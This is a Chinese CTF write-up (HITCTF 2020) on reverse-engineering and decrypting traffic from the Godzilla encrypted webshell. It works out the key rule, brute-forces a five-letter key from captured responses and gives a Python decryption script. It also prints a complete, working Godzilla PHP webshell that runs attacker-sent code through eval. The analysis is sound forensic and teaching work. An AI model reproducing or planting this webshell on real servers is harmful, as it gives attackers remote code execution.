添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

Godzillas 是一个加密webshell管理器,类似于冰蝎,发布于hw时期,由于流量加密,其原有行为无法直接获取,需要逆向其加密流程。

以HITCTF 2020的Traffic 为例子。
流量附件: EasyFlow.zip
HINT:

1
key = [a-z]{5} 

首先看流量,可以在 header 中看到很明显的特征: tools: Godzilla

同时,请求包和返回包均存在加密,无法直接获取到原文。

先使用Godzilla生成一个php版本的webshell,此时存在两种方式:

  • PHP_XOR_BASE64
  • PHP_XOR_RAW
  • 根据官方介绍,Raw or Base64 加密器区别仅在于加密后的数据是否进行base64编码。

    PHP_XOR_BASE64 模式生成一个webshell,需要填写两个参数 pass key

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    <?php
    session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function E($D,$K){
    /*
    解密函数
    16位循环异或
    */
    for($i=0;$i<strlen($D);$i++) {
    $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
    }
    function Q($D){
    return base64_encode($D);
    }
    function O($D){
    return base64_decode($D);
    }
    $P='shell';//密码,即pass
    $V='payload';
    $T='3da39cba19f0ec58';//密钥,godzilla生成,即key生成的
    if (isset($_POST[$P])){
    $F=O(E(O($_POST[$P]),$T));//解密shellcode
    if (isset($_SESSION[$V])){
    $L=$_SESSION[$V];
    $A=explode('|',$L);
    class C{public function nvoke($p) {eval($p."");}}
    $R=new C();
    $R->nvoke($A[0]);//初始化session中的shellcode
    echo substr(md5($P.$T),0,16);
    echo Q(E(@run($F),$T)); //shellcode运行输出
    echo substr(md5($P.$T),16);
    }else{
    $_SESSION[$V]=$F;
    }
    }

    根据webshell的代码,我们可以确定获取到连接的密码是POST请求中的参数,异或加密解密的密钥未知,获得密钥即可解密流量。
    而我们填入的key在webshell代码中,密钥变成了一串十六进制字符。
    这时候就需要逆向一下Godzilla,看看webshell是如何生成的。
    GitHub上有别的大师傅逆向好的源码: https://github.com/Freakboy/Godzilla

    定位到密钥生成的函数

    1
    2
    3
    public byte[] generate(String password, String secretKey) {
    return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false);
    }

    规则: $T = md5(key)[:16]

    再看webshell,输出内容分为三部分:

  • MD5( 密码 + 密钥)的前十六位
  • shellcode运行结果
  • MD5( 密码 + 密钥)的后十六位
  • 所以,我们可以根据返回包的内容,获取到MD5( 密码 + 密钥)的hash值,其中密码是不保密的,密钥的生成规则已知,而爆破密钥的时间复杂度过高,需要直接去爆破key,爆破出key后即可根据异或的规则对流量进行解密。

    根据返回包提取hash值时,流量中的返回包并不是完全按照返上述规则返回的,而是在前后均有多余字符输出进行混淆。

    随意找三组流量:

    1
    2
    3
    62b6344331240ed210fc02b6e48963b6c10f232f1dBlYQCg==c35fb0ae023d6c7e3x7g94r4c8
    a023459c3a30e3ae186b8963b6c10f232f1dKFc5X1VQDFBTVVtEV3gxEQYlDAo=c35fb0ae023d6c7er23ed8qy4bhxc3i
    b01b7865904ec70576a052dd25918963b6c10f232f1dPQoPW1BeWl4=c35fb0ae023d6c7e2al0jquhu5c0kvf

    由于存在混淆,前十六位hash的起始位置我们不好确定,而后16位hash,由于base64编码后的串可能会以 = 结尾,所以 = 后面十六位即为后十六位hash值。此处是 c35fb0ae023d6c7e

    再确定先十六位hash,由于hash值不变, 所以多找几组流量,提取前面长度为16的最长公共子串即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    In [2]: a="62b6344331240ed210fc02b6e48963b6c10f232f1dBlYQCg=="

    In [3]: b="a023459c3a30e3ae186b8963b6c10f232f1dKFc5X1VQDFBTVVtEV3gxEQYlDAo="

    In [4]: for i in range(50-17):
    ...: if a[i:i+16] in b:
    ...: print(a[i:i+16])
    ...:
    8963b6c10f232f1d

    组合一下,hash值为: 8963b6c10f232f1dc35fb0ae023d6c7e
    然后爆破key,根据提示,范围为: [a-z]{5}

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    #-*- encoding:utf-8 -*-

    import hashlib
    import string
    import itertools


    def md5(s):
    return hashlib.md5(s.encode("utf-8")).hexdigest()


    if __name__ == '__main__':
    pw = "shell"
    s = "8963b6c10f232f1dc35fb0ae023d6c7e"
    for k in itertools.product(string.ascii_lowercase, repeat=5):
    key = "".join(k)
    c = md5(pw + md5(key)[:16])
    if c == s:
    print(key)
    # toolx

    爆破出key以后,就可以根据规则计算出加密解密使用的密钥,然后对流量进行解密了。

    解密脚本如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    #-*- encoding:utf-8 -*-
    import hashlib
    import string
    import itertools
    import base64
    import re
    from urllib.parse import unquote


    def md5(s):
    return hashlib.md5(s.encode("utf-8")).hexdigest()


    def get_key(pw, s):
    for k in itertools.product(string.ascii_lowercase, repeat=5):
    key = "".join(k)
    c = md5(pw + md5(key)[:16])
    if c == s:
    return key


    class Godzilla(object):
    def __init__(self, pw, key, md5key=False):
    super(Godzilla, self).__init__()
    self.pw = pw
    if md5key:
    self.key = key
    else:
    self.key = md5(key)[:16]

    findStrMd5 = md5(self.pw + self.key)
    self.findStrLeft = findStrMd5[:16]
    self.findStrRight = findStrMd5[16:]

    def findStr(self, t):
    s = re.search(self.findStrLeft + "(.*?)" + self.findStrRight, t)
    if s:
    return s.group(1)
    else:
    return t

    def decode(self, s):
    s = self.findStr(unquote(s))
    s = base64.b64decode(s)
    r = []

    for i in range(len(s)):
    k = s[i] ^ ord(self.key[i + 1 & 0xF])
    r.append(k)
    return base64.b64decode("".join(map(lambda x: chr(x), r))).decode('utf-8')

    def decodeResponse(self, s):
    return self.decode(s)

    def decodeRequest(self, s):
    s = self.decode(s)
    # request body like: cmdLine=a2V577yaSDFUQGN0ZiB8fCBpZA==&methodName=ZXhlY0NvbW1hbmQ=
    s = s.strip().split("&")
    body = ""
    for param in s:
    p = list(filter(lambda x: x, param.split("=")))
    if len(p) == 1:
    body += p[0] + "=&"
    elif len(p) == 2:
    body += p[0] + "=" + base64.urlsafe_b64decode(p[1] + '=' * (4 - len(p[1]) % 4)).decode('utf-8') + "&"
    return body[:-1]


    if __name__ == '__main__':
    g = Godzilla('shell', 'toolx')
    #g = Godzilla('shell', 'eddc7695c7f8260c', md5key=True)

    c1 = "e652b80c3742f207051c4a0764f7078963b6c10f232f1dMiMLR1VAdxNUH3paf3c5Fj0zAER/fn9SUyV6B1QDNgIGCTVbbHp3C34hTF5TYyFVBh0hXGxuexpSPnoCf3cPVSgNIWJXfmAEVlRuB393Dx8tIwtHbH5nD1UPekJUWSFVBSM2UGxhXQ9uVW4CbGcyAj1WWkNUbnMWbSV9Wn9jJg0tNVN8YG1/JFRUanpgXRc8KTdaXWNhYwpTDH4DbAI1LzIgD2VSbFEvVSJ2d2cDJSAAMTl1bFJzJHoycndscxcLPgoxTVNuezNuV25aZ2Q1UQEPG3F7VXwUZQtIWmR0Oh0BIQ9kbwhRFGNWT0hUWyUuMFUHQlR+VlpnNwUPc35fb0ae023d6c7eojw1rwjv3x6bnmgn"
    print(g.decodeResponse(c1))
    c2 = 'PVZSXGJ%2BWRZtMglae1w6VCoeBwJvb3smZQpuYGQAVxIzCQ90eX5vJ2YIelNnZFNcLglSW1J%2BXRVtIw1aVGc2XDMIC1hUf14UYwhiW2BKJQo9CVJlZmgIXg%3D%3D&5Ye66aKY5Lq66K+077ya6KaB5LuU57uG5YiG5p6Q5rWB6YeP5ZOm77yB'
    print(g.decodeRequest(c2))

    2021.09.14更新
    Godzillas最新版( v3.03 )对发送以及返回流量增加了gzip压缩,流量部分在上述基础上需要在解密后进行gzip解压才能获得明文流量。